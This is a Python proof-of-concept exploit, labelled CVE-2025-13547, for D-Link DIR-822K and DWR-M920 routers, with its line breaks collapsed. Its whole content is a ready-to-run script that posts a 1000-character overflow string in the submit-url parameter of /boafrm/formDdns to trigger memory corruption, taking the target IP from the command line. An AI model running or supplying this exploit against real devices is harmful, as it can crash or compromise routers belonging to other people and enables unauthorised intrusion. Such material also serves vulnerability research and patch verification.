CVE-2025-13547

import requests import sys # CVE-2025-13547 PoC - D-Link formDdns Memory Corruption # Target: D-Link DIR-822K / DWR-M920 # Vector: /boafrm/formDdns via submit-url parameter def exploit_dlink_memory_corruption(target_ip, target_port=80): """ Exploit for CVE-2025-13547 D-Link DIR-822K and DWR-M920 formDdns memory corruption """ url = f"http://{target_ip}:{target_port}/boafrm/formDdns" # Construct malicious payload for submit-url parameter # Long string to trigger memory corruption/buffer overflow payload = { 'submit-url': 'A' * 1000, # Overflow payload 'ddnsEnable': '1', 'ddnsProvider': 'dyndns', 'ddnsUsername': 'test', 'ddnsPassword': 'test123' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['submit-url'])}") response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.content)}") # Check for signs of successful exploitation if response.status_code == 200: print("[!] Request completed - check device stability") print("[!] Memory corruption may have occurred") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_dlink_memory_corruption(target, port)

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